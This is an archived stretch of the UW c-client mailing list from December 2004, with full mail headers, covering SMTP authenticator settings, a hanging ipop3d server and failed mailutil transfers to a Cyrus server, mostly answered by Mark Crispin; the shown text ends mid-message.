(8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB764MYe001248 for ; Mon, 6 Dec 2004 22:04:23 -0800 Received: from anumail.anu.edu.au (adelong.anu.edu.au [150.203.2.90]) by anu.edu.au (8.12.11/8.12.11) with ESMTP id iB764KRT018706 for ; Tue, 7 Dec 2004 17:04:21 +1100 (EST) Received: from [150.203.33.115] (cheeze.anu.edu.au [150.203.33.115]) by anumail.anu.edu.au (8.12.10/8.12.10) with ESMTP id iB764KoN012956 for ; Tue, 7 Dec 2004 17:04:20 +1100 (EST) Message-Id: <41B547E3.9070505@garcke.de> Date: Tue, 07 Dec 2004 17:04:19 +1100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jochen Garcke To: c-client@u.washington.edu Subject: smtp-issues MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: de-DE, de, en-us, en X-Enigmail-Version: 0.86.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, the two routines void smtp_debug (SMTPSTREAM *stream); void smtp_nodebug (SMTPSTREAM *stream); which are mentioned in the docs and are prototyped in smtp.h are not declared in smtp.c or anywhere else as far as I can see. (using imap-2004a) I guess they do not much more then setting debug on/off for the stream. Another thing, in pine there exist options like disable-these-authenticators to overcome problems with certain smtp-servers. I have similiar issues which one smtp-server where the CRAM-MD5 authentication doesn't work for me, but the Login over a SSL-connection works. But the CRAM-MD5 gets tried first, so I always get asked the password. Can I somehow disable the CRAM-MD5 authentication for a SMTP-Stream using c-client (like pine does) ? Thanks, Jochen -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Dec 6 23:12:45 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Dec 2004 23:12:45 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB77CjLn024655 for ; Mon, 6 Dec 2004 23:12:45 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB77Cisq015386 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 6 Dec 2004 23:12:44 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iB77Caf3017582; Mon, 6 Dec 2004 23:12:37 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB77B0SQ092682 for ; Mon, 6 Dec 2004 23:11:00 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB77B0eM021027 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 6 Dec 2004 23:11:00 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB77Axoo007450; Mon, 6 Dec 2004 23:10:59 -0800 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB77AxNh003663; Mon, 6 Dec 2004 23:10:59 -0800 Message-Id: Date: Mon, 6 Dec 2004 23:10:59 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jochen Garcke Cc: c-client@u.washington.edu Subject: Re: smtp-issues In-Reply-To: <41B547E3.9070505@garcke.de> References: <41B547E3.9070505@garcke.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 7 Dec 2004, Jochen Garcke wrote: > void smtp_debug (SMTPSTREAM *stream); > void smtp_nodebug (SMTPSTREAM *stream); > which are mentioned in the docs and are prototyped in smtp.h are not declared > in smtp.c or anywhere else as far as I can see. (using imap-2004a) You are correct; this was never implemented as it was decided not to do debugging this way. > Can I somehow disable the CRAM-MD5 authentication for a SMTP-Stream using > c-client (like pine does) ? It's the DISABLE_AUTHENTICATOR function of mail_parameters(), e.g. mail_parameters (NIL,DISABLE_AUTHENTICATOR,(void *) "CRAM-MD5"); Note that this is a global setting. You should only use this as a workaround, and instead convince the manager of the SMTP server to fix their server. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Dec 7 15:53:13 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 7 Dec 2004 15:53:12 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB7NrCft030644 for ; Tue, 7 Dec 2004 15:53:12 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB7NrB3m021902 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 7 Dec 2004 15:53:12 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iB7Nr0Er005292; Tue, 7 Dec 2004 15:53:00 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB7Nk3tw075368 for ; Tue, 7 Dec 2004 15:46:03 -0800 Received: from anu.edu.au (anumail3.anu.edu.au [150.203.2.43]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB7Nk2aY021792 for ; Tue, 7 Dec 2004 15:46:03 -0800 Received: from anumail.anu.edu.au (adelong.anu.edu.au [150.203.2.90]) by anu.edu.au (8.12.11/8.12.11) with ESMTP id iB7NjrAN027201 for ; Wed, 8 Dec 2004 10:46:01 +1100 (EST) Received: from [150.203.33.115] (cheeze.anu.edu.au [150.203.33.115]) by anumail.anu.edu.au (8.12.10/8.12.10) with ESMTP id iB7NjroN024415 for ; Wed, 8 Dec 2004 10:45:53 +1100 (EST) Message-Id: <41B640B1.2070400@garcke.de> Date: Wed, 08 Dec 2004 10:45:53 +1100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jochen Garcke To: c-client@u.washington.edu Cc: c-client@u.washington.edu Subject: Re: smtp-issues In-Reply-To: References: <41B547E3.9070505@garcke.de> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: de-DE, de, en-us, en X-Enigmail-Version: 0.86.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin schrieb: >> Can I somehow disable the CRAM-MD5 authentication for a SMTP-Stream >> using c-client (like pine does) ? > > > It's the DISABLE_AUTHENTICATOR function of mail_parameters(), e.g. > mail_parameters (NIL,DISABLE_AUTHENTICATOR,(void *) "CRAM-MD5"); > > Note that this is a global setting. You should only use this as a > workaround, and instead convince the manager of the SMTP server to fix > their server. Thanks, works nicely. Still will try to get the people to fix the SMTP server... Jochen From pinedev@shivax2.cac.washington.edu Wed Dec 8 04:48:28 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 8 Dec 2004 04:48:27 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB8CmRnE026811 for ; Wed, 8 Dec 2004 04:48:27 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB8CmQni016403 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 8 Dec 2004 04:48:26 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iB8CmAoh016890; Wed, 8 Dec 2004 04:48:11 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB8Ckd3e039444 for ; Wed, 8 Dec 2004 04:46:39 -0800 Received: from kidushin.jct.ac.il (kidushin.jct.ac.il [147.161.1.19]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with SMTP id iB8CkaiD005460 for ; Wed, 8 Dec 2004 04:46:38 -0800 Received: from [147.161.1.195] ([147.161.1.195]) by kidushin.jct.ac.il (SAVSMTP 3.1.3.37) with SMTP id M2004120814392208478 ; Wed, 08 Dec 2004 14:39:22 +0200 Message-Id: <41B6F7A6.4080809@jct.ac.il> Date: Wed, 08 Dec 2004 14:46:30 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "haim [howard] roman" To: c-client@u.washington.edu Cc: unixstaff , Michael Tewner Subject: Our POP server "hangs" MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN We're running UW's ipop3d. This week, it often happens that users cannot retrieve mail. Sometimes rebooting their station (MS Windows) helps, sometimes not. When rebooting doesn't help, we kill all the ipop3d processes; that usually helps. Does anyone have any ideas? I searched the c-client mailing list archives, but I could not find anything. Here are more pieces of information: (1) Our ipop3d version is v2003.83. (2) The OS is Red Hat Linux release 9 (Shrike), running on Intel. (3) Sometimes, we might be having too many POP sessions at once. (A) We sometimes see the following message: xinetd[2586]: FAIL: pop3s service_limit from=212.235.0.88 That indicates too many concurrent sessions for that service. (B) For POP & IMAP, we changed from 60 (xinetd's default) to 200. (C) However, we've experienced this problem of users not getting mail even when there are far fewer than 60 processes. (4) Very often, I see many ipop3d processes, *all* of which are owned by root. (A) The ipop3d is supposed to change its UID (or EUID) to the user who initiated the session. (B) This might be due to a lot of failed logins to POP. However, why are the processes staying around? (5) Most of our users user mail clients on MS Windows, usually Outlook or Outlook Express, sometimes Mozilla or Thunderbird. (6) I'm not aware of any problem with our IMAP server. However, there are far fewer of them, and most of them probably use webmail. Thanks, ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Haim (Howard) Roman | Computer Center roman@jct.ac.il | Jerusalem College of Technology, ISRAEL -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Dec 8 10:19:24 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 8 Dec 2004 10:19:24 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB8IJOB1007698 for ; Wed, 8 Dec 2004 10:19:24 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB8IJNV8007137 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 8 Dec 2004 10:19:23 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iB8IJEpI013432; Wed, 8 Dec 2004 10:19:14 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB8IHmqX113464 for ; Wed, 8 Dec 2004 10:17:48 -0800 Received: from imag.imag.fr (imag.imag.fr [129.88.30.1]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB8IHhGo018783 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Wed, 8 Dec 2004 10:17:45 -0800 Received: from mail-veri.imag.fr (mail-veri.imag.fr [129.88.43.52]) by imag.imag.fr (8.13.0/8.13.0) with ESMTP id iB8IHbRb021132 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 8 Dec 2004 19:17:39 +0100 (CET) Received: from obiou.imag.fr ([129.88.43.2] helo=obiou.imag.fr.imag.fr) by mail-veri.imag.fr with esmtp (Exim 3.35 #1 (Debian)) id 1Cc6Nd-0007gh-00 for ; Wed, 08 Dec 2004 19:17:37 +0100 Message-Id: Date: Wed, 08 Dec 2004 19:17:36 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Nicolas Kowalski To: c-client@u.washington.edu Subject: mailutil transfer and bad messages MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.4 (imag.imag.fr [129.88.30.1]); Wed, 08 Dec 2004 19:17:39 +0100 (CET) X-IMAG-MailScanner: Found to be clean X-IMAG-MailScanner-Information: Please contact the ISP for more information X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello. When I use mailutil transfer to copy a whole mailbox hierarchy from a uw-imap server to a cyrus one, it sometimes fails with the error "message contains invalid header", and then stops. Is there a way to make mailutil ignore these badly formatted messages and continue the transfer ? Thanks. -- Nicolas -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Dec 8 10:40:17 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 8 Dec 2004 10:40:17 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB8IeHDo009103 for ; Wed, 8 Dec 2004 10:40:17 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB8IeG8E001456 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 8 Dec 2004 10:40:16 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iB8Ie9qT019054; Wed, 8 Dec 2004 10:40:10 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB8IdIot039614 for ; Wed, 8 Dec 2004 10:39:18 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB8IdHCg019607 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 8 Dec 2004 10:39:17 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB8IdG2T017027; Wed, 8 Dec 2004 10:39:16 -0800 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB8IdGKv018023; Wed, 8 Dec 2004 10:39:16 -0800 Message-Id: Date: Wed, 8 Dec 2004 10:39:16 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Nicolas Kowalski Cc: c-client@u.washington.edu Subject: Re: mailutil transfer and bad messages In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 8 Dec 2004, Nicolas Kowalski wrote: > When I use mailutil transfer to copy a whole mailbox hierarchy from a > uw-imap server to a cyrus one, it sometimes fails with the error > "message contains invalid header", and then stops. > > Is there a way to make mailutil ignore these badly formatted messages > and continue the transfer ? That problem (the check for "invalid header") is not in mailutil; it's in the Cyrus server. The Cyrus server is refusing to accept the message in question. Mailutil, in turn, stops when it ceases to be able to do what it was told to do. Mailutil has no way of knowing that the problem is just that silly check, or some more serious matter. I doubt very much that you would want to have mailutil tell you that a copy was done, only to find that most messages were not copied due to a serious problem. I suggest that you ask the maintainers of the Cyrus server if there is a way to disable that check. Otherwise, there is no way that you can truly copy your messages. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Dec 8 10:43:53 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 8 Dec 2004 10:43:53 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB8IhqYM009234 for ; Wed, 8 Dec 2004 10:43:52 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB8Ihp55009187 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 8 Dec 2004 10:43:52 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iB8IhjGb021758; Wed, 8 Dec 2004 10:43:45 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB8IhA5S113582 for ; Wed, 8 Dec 2004 10:43:10 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB8Ih937014573 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 8 Dec 2004 10:43:09 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB8Ih8iw018059; Wed, 8 Dec 2004 10:43:08 -0800 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB8Ih89b018276; Wed, 8 Dec 2004 10:43:08 -0800 Message-Id: Date: Wed, 8 Dec 2004 10:43:08 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "haim [howard] roman" Cc: c-client@u.washington.edu, unixstaff , Michael Tewner Subject: Re: Our POP server "hangs" In-Reply-To: <41B6F7A6.4080809@jct.ac.il> References: <41B6F7A6.4080809@jct.ac.il> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Your reported symptoms look very much like [x]inetd is throttling the server port due to too many simultaneous connections. I suggest that you use the netstat program to see if you can find a particular IP address or addresses which is attempting an excessive number of connections, and remedy that. Since your Linux system uses PAM for authentication, there may also be an overload of the PAM facility. It's probably accidental; but in effect you have a denial-of-service attack going on. You need to find the responsible machine and put a stop to it. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Dec 8 11:20:06 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 8 Dec 2004 11:20:06 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB8JK6CR010483 for ; Wed, 8 Dec 2004 11:20:06 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB8JK4vd011288 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 8 Dec 2004 11:20:05 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iB8JJvbM018580; Wed, 8 Dec 2004 11:19:57 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB8JIvNn107926 for ; Wed, 8 Dec 2004 11:18:57 -0800 Received: from imag.imag.fr (imag.imag.fr [129.88.30.1]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB8JItvc026486 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Wed, 8 Dec 2004 11:18:56 -0800 Received: from mail-veri.imag.fr (mail-veri.imag.fr [129.88.43.52]) by imag.imag.fr (8.13.0/8.13.0) with ESMTP id iB8JIrTA005252 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 8 Dec 2004 20:18:53 +0100 (CET) Received: from obiou.imag.fr ([129.88.43.2] helo=obiou.imag.fr.imag.fr) by mail-veri.imag.fr with esmtp (Exim 3.35 #1 (Debian)) id 1Cc7Kv-000073-00 for ; Wed, 08 Dec 2004 20:18:53 +0100 Message-Id: Date: Wed, 08 Dec 2004 20:18:52 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Nicolas Kowalski To: c-client@u.washington.edu Subject: Re: mailutil transfer and bad messages In-Reply-To: (Mark Crispin's message of "Wed, 8 Dec 2004 10:39:16 -0800 (PST)") References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.4 (imag.imag.fr [129.88.30.1]); Wed, 08 Dec 2004 20:18:53 +0100 (CET) X-IMAG-MailScanner: Found to be clean X-IMAG-MailScanner-Information: Please contact the ISP for more information X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin writes: >> Is there a way to make mailutil ignore these badly formatted messages >> and continue the transfer ? > > That problem (the check for "invalid header") is not in mailutil; it's > in the Cyrus server. The Cyrus server is refusing to accept the > message in question. Yes, but the message really seems to be bad. When I look the offending mailbox (mbx format) with Pine, I get this: R 1999-01-28 (4530) Re: RA 1999-05-07 (4063) R (1155) R 1999-05-08 (4883) Re: The third message contains the text body from the previous message, and begins with a '>From ' line. I believe some crap happened when I converted from unix format to mbx two years ago. > Mailutil, in turn, stops when it ceases to be able to do what it was > told to do. Mailutil has no way of knowing that the problem is just > that silly check, or some more serious matter. I doubt very much that > you would want to have mailutil tell you that a copy was done, only to > find that most messages were not copied due to a serious problem. You are right, there is a serious problem in this case. -- Nicolas From pinedev@shivax2.cac.washington.edu Wed Dec 8 14:00:14 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 8 Dec 2004 14:00:14 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB8M0D7q017539 for ; Wed, 8 Dec 2004 14:00:13 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB8M0Cdo013603 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 8 Dec 2004 14:00:13 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iB8M00aB015564; Wed, 8 Dec 2004 14:00:00 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iB8LwvSR048144 for ; Wed, 8 Dec 2004 13:58:57 -0800 Received: from imag.imag.fr (imag.imag.fr [129.88.30.1]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB8Lwqcc024092 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Wed, 8 Dec 2004 13:58:54 -0800 Received: from mail-veri.imag.fr (mail-veri.imag.fr [129.88.43.52]) by imag.imag.fr (8.13.0/8.13.0) with ESMTP id iB8Lwn1Z011403 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 8 Dec 2004 22:58:49 +0100 (CET) Received: from obiou.imag.fr ([129.88.43.2] helo=obiou.imag.fr.imag.fr) by mail-veri.imag.fr with esmtp (Exim 3.35 #1 (Debian)) id 1Cc9ph-0001fV-00 for ; Wed, 08 Dec 2004 22:58:49 +0100 Message-Id: Date: Wed, 08 Dec 2004 22:58:48 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Nicolas Kowalski To: c-client@u.washington.edu Subject: Re: mailutil transfer and bad messages In-Reply-To: (Cliff Green's message of "Wed, 08 Dec 2004 14:48:30 -0500 (EST)") References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.4 (imag.imag.fr [129.88.30.1]); Wed, 08 Dec 2004 22:58:49 +0100 (CET) X-IMAG-MailScanner: Found to be clean X-IMAG-MailScanner-Information: Please contact the ISP for more information X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Cliff Green writes: > Today at 7:17pm, Nicolas Kowalski wrote: > NK> When I use mailutil transfer to copy a whole mailbox hierarchy from a > NK> uw-imap server to a cyrus one, it sometimes fails with the error > NK> "message contains invalid header", and then stops. > NK> > NK> Is there a way to make mailutil ignore these badly formatted messages > NK> and continue the 